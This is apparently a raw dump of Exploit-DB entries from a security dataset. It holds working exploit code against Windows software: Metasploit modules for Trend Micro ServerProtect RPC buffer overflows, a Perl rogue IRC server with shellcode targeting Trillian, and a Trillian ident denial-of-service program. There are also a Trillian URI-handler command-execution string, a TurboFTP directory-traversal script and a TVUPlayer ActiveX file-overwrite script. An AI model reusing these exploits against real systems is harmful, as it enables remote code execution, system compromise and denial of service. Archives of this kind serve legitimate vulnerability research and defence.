deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16828
Description: Trend Micro ServerProtect 5.58 - 'CreateBinding()' Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: trendmicro_serverprotect_createbinding.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::DCERPC

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Trend Micro ServerProtect 5.58 CreateBinding() Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in Trend Micro ServerProtect 5.58 Build 1060.
				By sending a specially crafted RPC request, an attacker could overflow the
				buffer and execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					['CVE', '2007-2508'],
					['OSVDB', '35790'],
					['BID', '23868'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Trend Micro ServerProtect 5.58 Build 1060', { 'Ret' => 0x65675aa8 } ], # pop esi; pop ecx; ret - StRpcSrv.dll
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'May 7 2007'))

		register_options( [ Opt::RPORT(5168) ], self.class )
	end

	def exploit
		connect
		handle = dcerpc_handle('25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
		print_status("Binding to #{handle} ...")

		dcerpc_bind(handle)
		print_status("Bound to #{handle} ...")

		filler =  rand_text_alpha(360) + Rex::Arch::X86.jmp_short(6) + make_nops(2)
		filler << [target.ret].pack('V') + payload.encoded
		filler << rand_text_english(1400 - payload.encoded.length)

		len    = filler.length

		sploit = NDR.long(0x001f0002) + NDR.long(len) + filler + NDR.long(len)

		print_status("Trying target #{target.name}...")

		begin
			dcerpc_call(0, sploit)
		rescue Rex::Proto::DCERPC::Exceptions::NoResponse
		end

		handler
		disconnect
	end

end
Exploit-DB #16829
Description: Trend Micro ServerProtect 5.58 - 'EarthAgent.exe' Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: trendmicro_serverprotect_earthagent.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::DCERPC

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Trend Micro ServerProtect 5.58 EarthAgent.EXE Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in Trend Micro ServerProtect 5.58 Build 1060
				EarthAgent.EXE. By sending a specially crafted RPC request, an attacker could overflow the
				buffer and execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					['CVE', '2007-2508'],
					['OSVDB', '35789'],
					['BID', '23866'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Trend Micro ServerProtect 5.58 Build 1060', { 'Ret' => 0x605e3c2f } ], # pop esi; pop ebx; ret / agentclient.dll
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'May 7 2007'))

		register_options( [ Opt::RPORT(3628) ], self.class )
	end

	def exploit
		connect
		handle = dcerpc_handle('25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
		print_status("Binding to #{handle} ...")

		dcerpc_bind(handle)
		print_status("Bound to #{handle} ...")

		filler =  rand_text_english(680) + Rex::Arch::X86.jmp_short(6)
		filler << make_nops(2) + [target.ret].pack('V') + payload.encoded

		len	 = filler.length

		sploit = NDR.long(0x001f0014) + NDR.long(len) + filler + NDR.long(len)

		print_status("Trying target #{target.name}...")

		begin
			dcerpc_call(0, sploit)
		rescue Rex::Proto::DCERPC::Exceptions::NoResponse
		end

		handler
		disconnect
	end

end
Exploit-DB #29964
Description: Trend Micro ServerProtect 5.58 - 'SpntSvc.exe' Remote Stack Buffer Overflow
Type: remote
Platform: windows
Date: 2007-05-07
Author: MC

Exploit:
source: https://www.securityfocus.com/bid/23868/info

Trend Micro ServerProtect is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

Exploiting this issue allows attackers to execute arbitrary machine code with SYSTEM-level privileges and to completely compromise affected computers. Failed exploit attempts will result in a denial of service.

##
# $Id: trendmicro_serverprotect_createbinding.rb 5100 2007-09-10 01:01:20Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Windows::Antivirus::Trendmicro_Serverprotect_Createbinding < Msf::Exploit::Remote

	include Exploit::Remote::DCERPC

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Trend Micro ServerProtect 5.58 CreateBinding() Buffer Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in Trend Micro ServerProtect 5.58 Build 1060.
				By sending a specially crafted RPC request, an attacker could overflow the
				buffer and execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 5100 $',
			'References'     =>
				[
					['BID', '23868'],
					['CVE', '2007-2508'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					[ 'Trend Micro ServerProtect 5.58 Build 1060', { 'Ret' => 0x65675aa8 } ], # pop esi; pop ecx; ret - StRpcSrv.dll
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'May 7 2007'))
			
			register_options( [ Opt::RPORT(5168) ], self.class )
	end

	def exploit
		connect
		handle = dcerpc_handle('25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
		print_status("Binding to #{handle} ...")

		dcerpc_bind(handle)
		print_status("Bound to #{handle} ...")

		filler =  rand_text_alpha(360) + Rex::Arch::X86.jmp_short(6) + make_nops(2)
		filler << [target.ret].pack('V') + payload.encoded
		filler << rand_text_english(1400 - payload.encoded.length)

		len    = filler.length
		
		sploit = NDR.long(0x001f0002) + NDR.long(len) + filler + NDR.long(len)

		print_status("Trying target #{target.name}...")
			
			begin
				dcerpc_call(0, sploit)
				rescue Rex::Proto::DCERPC::Exceptions::NoResponse
			end
		
		handler
		disconnect
	end

end
end
Exploit-DB #16827
Description: Trend Micro ServerProtect 5.58 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: trendmicro_serverprotect.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::DCERPC

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Trend Micro ServerProtect 5.58 Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in Trend Micro ServerProtect 5.58 Build 1060.
				By sending a specially crafted RPC request, an attacker could overflow the
				buffer and execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					['CVE', '2007-1070'],
					['OSVDB', '33042'],
					['BID', '22639'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Trend Micro ServerProtect 5.58 Build 1060', { 'Ret' => 0x6563124c } ], # CALL EBX - StCommon.dll
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Feb 20 2007'))

		register_options( [ Opt::RPORT(5168) ], self.class )
	end

	def exploit
		connect
		handle = dcerpc_handle('25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
		print_status("Binding to #{handle} ...")

		dcerpc_bind(handle)
		print_status("Bound to #{handle} ...")

		filler =  payload.encoded + rand_text_english(1600 - payload.encoded.length) + [target.ret].pack('V')

		len    = filler.length

		# CMON_NetTestConnection
		sploit =  NDR.long(0x000a0017) + NDR.long(len) + filler + NDR.long(0)

		print_status("Trying target #{target.name}...")

		begin
			dcerpc_call(0, sploit)
		rescue Rex::Proto::DCERPC::Exceptions::NoResponse
		end

		handler
		disconnect
	end

end
Exploit-DB #22173
Description: Trend Micro Virus Control System 1.8 - Information Disclosure
Type: remote
Platform: windows
Date: 2003-01-15
Author: Rod Boron

Exploit:
source: https://www.securityfocus.com/bid/6618/info

An information disclosure vulnerability has been reported for TVCS. Reportedly, it is possible for an attacker to access the log files generated by TVCS. The log files contain very sensitive information about the system, including user names and passwords. 

Any information obtained in this manner may be used by an attacker to launch further destructive attacks against a system.

http://x.x.x.x/tvcs/getservers.exe?action=selects1
Exploit-DB #11173
Description: Trend Micro Web-Deployment - ActiveX Remote Execution
Type: remote
Platform: windows
Date: 2010-01-17
Author: superli

Exploit:
# Exploit Title: TrendMicro Web-Deployment ActiveX Remote Exec 0day POC
# Date: 2010.01.17
# Author: superli
# Software Link: http://www.trendmicro.com
# Version: 8.0
# Tested on: xpsp3 ie6

# Download:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11173.zip (TrendMicro_web_deployment_activex0day.zip)
Exploit-DB #21804
Description: Trillian 0.6351/0.7x - Identd Buffer Overflow
Type: remote
Platform: windows
Date: 2002-09-18
Author: Lance Fitz-Herbert

Exploit:
// source: https://www.securityfocus.com/bid/5733/info

Trillian ships with an ident server to facilitate connections to IRC servers that require an ident response before allowing access. A buffer overflow condition exists in the Trillian ident server, which may potentially be exploited to cause a denial of service or execute arbitrary code.

When the ident server receives a malformed request that is 418 bytes or more in length, the client crashes and memory is corrupted. It may be possible for an attacker to exploit the resulting memory corruption to execute arbitrary instructions with the privileges of the ident server.

/* Trillian-Ident.c
   Author: Lance Fitz-Herbert
   Contact: IRC: Phrizer, DALnet - #KORP
            ICQ: 23549284

   Exploits the Trillian Ident Flaw.
   Tested On Version .74 and .73
   Compiles with Borland 5.5
   This Example Will Just DoS The Trillian Client.

*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
char payload[500];
int main(int argc, char * argv[]) {
        int iret;
        struct hostent *host;
        SOCKET sockhandle;
        SOCKADDR_IN address;
        WSADATA wsdata;

        if (argc<2) {
                printf("\nTrillian Ident DoS\n");
                printf("----------------------\n");
                printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n");
                printf("Tested On Version .74 and .73\n\n");
                printf("Usage: trillian-ident <address>");
                return 0;
        }

        WSAStartup(MAKEWORD(1,1),&wsdata);
        printf("Making Socket Now...\n");
        sockhandle = socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

        if (sockhandle == SOCKET_ERROR) {
                printf("Error Creating Socket\n");
                WSACleanup();
                return 1;
        }

        printf("Socket Created\n");

        address.sin_family = AF_INET;
        address.sin_port = htons(113);
        address.sin_addr.s_addr = inet_addr(argv[1]);


        if (address.sin_addr.s_addr == INADDR_NONE) {
                host = NULL;
                printf("Trying To Resolve Host\n");
                host = gethostbyname(argv[1]);
                if (host == NULL) {
                        printf("Uknown Host: %s\n",argv[1]);
                        WSACleanup();
                        return 1;
                }
                memcpy(&address.sin_addr, host->h_addr_list[0],host->h_length);
        }



        printf("Connecting To Server...\n");
        iret = connect(sockhandle, (struct sockaddr *) &address,        sizeof(address));

        if (iret == SOCKET_ERROR) {
                printf("Couldnt Connect\n");
                WSACleanup();
                return 1;
        }

        printf("Connected to %s!\nSending Payload\n",argv[1]);
        memset(payload,'A',500);
        send(sockhandle,payload,strlen(payload),0);
        Sleep(100);
        WSACleanup();
        return 0;
}
Exploit-DB #21675
Description: Trillian 0.x IRC Module - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2002-07-31
Author: John C. Hennessy

Exploit:
source: https://www.securityfocus.com/bid/5373/info

A buffer overflow condition has been reported in the Trillian IRC module. The condition is due to insecure handling of data extracted from server responses. An attacker in control of a malicious server may exploit vulnerable clients who have connected. 

#!/usr/local/bin/perl
#---------------------sicillian.pl------------------------
#- Proof of concept exploit for trillians irc module.
#- Tested on trillian 0.73 but i suspect all version
#- prior maybe exploited as well.
#-
#- John C. Hennessy (Information security analyst)
#------------------------------------------------------

use Socket;

$|=1;

        #egg written by UNYUN (http://www.shadowpenguin.org/)
$egg = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
$egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
$egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
$egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
$egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
$egg .= "notepad.exe";

$buf = "\x90" x 174;
$buf .= $egg;
$buf .= "\x41\x41\x41\x41";


my $host = inet_aton("127.0.0.1");
my $proto = getprotobyname("tcp");
my $port = 6667;

my $add_port = sockaddr_in($port,$host);

my $ser_sock = socket(SOCKET,PF_INET,SOCK_STREAM,$proto) or die "Cannot open
Socket: $!";

bind(SOCKET,$add_port) or die "\nCould\'t bind to port $port : $!\n ";

my $connection = listen(SOCKET,5) or die "Could't listen on $port: $! \n";

while(accept(CLIENT,SOCKET)){
print CLIENT "PING :[PII_REDACTED]\r\n001 :irc.random.org trillian :$buf\r\n";
}
close(SOCKET);


##########Snippet from debugger##########
# Access violation - code c0000005 (first chance)
# eax=00000000 ebx=022738c8 ecx=100446d0 edx=00000901 esi=02274e60
edi=022738c8
# eip=41414141 esp=0012ca58 ebp=01283718 iopl=0         nv up ei pl nz na po
nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000 efl=00010206
# 41414141 ??               ???
#####################################
Exploit-DB #30315
Description: Trillian 3.1.6.0 - URI Handler Remote Code Execution
Type: remote
Platform: windows
Date: 2007-07-16
Author: Nate Mcfeters

Exploit:
source: https://www.securityfocus.com/bid/24927/info

Trillian is prone to remote command- and code-execution vulnerabilities because the application fails to properly handle user-supplied input via a registered URI.

Successfully exploiting these issues allows attackers to execute arbitrary commands or code in the context of the affected application. 

aim:%20&c:/windows/system32/calc.exe%22%20ini=%22C:/Documents%20and%20Settings/All%20Users/Start%20Menu/Programs/Startup/pwnd.bat%22

aim:/#1111111/[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]66666AAAABBBB[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]6666
Exploit-DB #51681
Description: TSPlus 16.0.0.0 - Remote Work Insecure Credential storage
Type: remote
Platform: windows
Date: 2023-08-21
Author: shinnai

Exploit:
# Exploit Title: TSPlus 16.0.0.0 - Remote Work Insecure Credential storage
# Date: 2023-08-09
# Exploit Author: Carlo Di Dato for Deloitte Risk Advisory Italia
# Vendor Homepage: https://tsplus.net/
# Version: Up to 16.0.0.0
# Tested on: Windows
# CVE : CVE-2023-31069

With TSPlus Remote Work (v. 16.0.0.0) you can create a secure single 
sign-on web portal and remote desktop gateway that enables users to 
remotely access the console session of their office PC.
It is possible to create a custom web portal login page which allows a 
user to login without providing their credentials.
However, the credentials are stored in an insecure manner since they are 
saved in cleartext, within the html login page.
This means that everyone with an access to the web login page, can 
easely retrieve the credentials to access to the application by simply 
looking at the html code page.

This is a code snippet extracted by the source code of the login page 
(var user and var pass):

   // --------------- Access Configuration ---------------
   var user = "Admin";                         // Login to use when 
connecting to the remote server (leave "" to use the login typed in this 
page)
   var pass = "SuperSecretPassword";           // Password to use when 
connecting to the remote server (leave "" to use the password typed in 
this page)
   var domain = "";                            // Domain to use when 
connecting to the remote server (leave "" to use the domain typed in 
this page)
   var server = "127.0.0.1";                   // Server to connect to 
(leave "" to use localhost and/or the server chosen in this page)
   var port = "";                              // Port to connect to 
(leave "" to use localhost and/or the port of the server chosen in this 
page)
   var lang = "as_browser";                    // Language to use
   var serverhtml5 = "127.0.0.1";              // Server to connect to, 
when using HTML5 client
   var porthtml5 = "3389";                     // Port to connect to, 
when using HTML5 client
   var cmdline = "";                           // Optional text that will 
be put in the server's clipboard once connected
   // --------------- End of Access Configuration ---------------
Exploit-DB #34156
Description: TurboFTP Server 1.20.745 - Directory Traversal
Type: remote
Platform: windows
Date: 2010-06-17
Author: leinakesi

Exploit:
source: https://www.securityfocus.com/bid/40919/info

TurboFTP Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow an attacker to download or upload arbitrary files outside the root directory. This may aid in further attacks.

TurboFTP Server 1.20.745 is vulnerable; prior versions may also be affected. 

#!/usr/bin/perl
#leinakesi[at]gmail.com
#turboFTP Server(sftp module) directory traversal vulnerability

use Net::SSH2;
use Getopt::Std;


@FUZZ = ("..\\A\\", "..\\AA");
getopts('S:P:u:p:', \%opts);
$server = $opts{'S'}; $port = $opts{'P'}; $user = $opts{'u'}; $pass = $opts{'p'};

if(!defined($server) || !defined($port) || !defined($user) || !defined($pass) ) {
	print "usage:\n\tperl	test.pl -S [IP] -P [port] -u [user] -p [password]\nexample:\n";
	print "\tperl	test.pl -S 192.168.48.114 -P 22 -u chloe -p 111111\n";
	exit(0);
}

$ssh2 = Net::SSH2->new();
$ssh2->connect($server, $port) || die "can not connect the server, please check.\n"; $ssh2->auth_password($user, $pass) || die "you sure user name and password are correct?\n"; $sftp = $ssh2->sftp();

foreach(@FUZZ)
{
	if($m = $sftp->mkdir($_))
	{
		print "mkdir success,  $_\n";
	}
}

$ssh2->disconnect();
exit(0);
Exploit-DB #33941
Description: TVUPlayer 2.4.4.9beta1 - 'PlayerOcx.ocx' ActiveX Control Arbitrary File Overwrite
Type: remote
Platform: windows
Date: 2010-02-03
Author: Evdokimov Dmitriy

Exploit:
source: https://www.securityfocus.com/bid/39956/info

TVUPlayer ActiveX control is prone to a vulnerability that lets attackers overwrite arbitrary local files on the victim's computer in the context of the vulnerable application, typically Internet Explorer, using the ActiveX control.

TVUPlayer 2.4.9beta1 [build1797] is vulnerable; other versions may be affected. 

<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:18E6ED0D-08D1-4ED5-8771-E72B4E6EFFD8' id='target' /> <script language='vbscript'> 'File Generated by COMRaider v0.0.133 - http://labs.idefense.com 'Wscript.echo typename(target) 'for debugging/custom prolog targetFile = "C:\Program Files\Online TV Player 4\PlayerOcx.ocx" prototype = "Property Let LangFileName As String" memberName = "LangFileName" progid = "PlayerOcx.FormPlayer" argCount = 1 arg1="C:\WINDOWS\system32\drivers\etc\hosts" target.LangFileName = arg1 </script></job></package>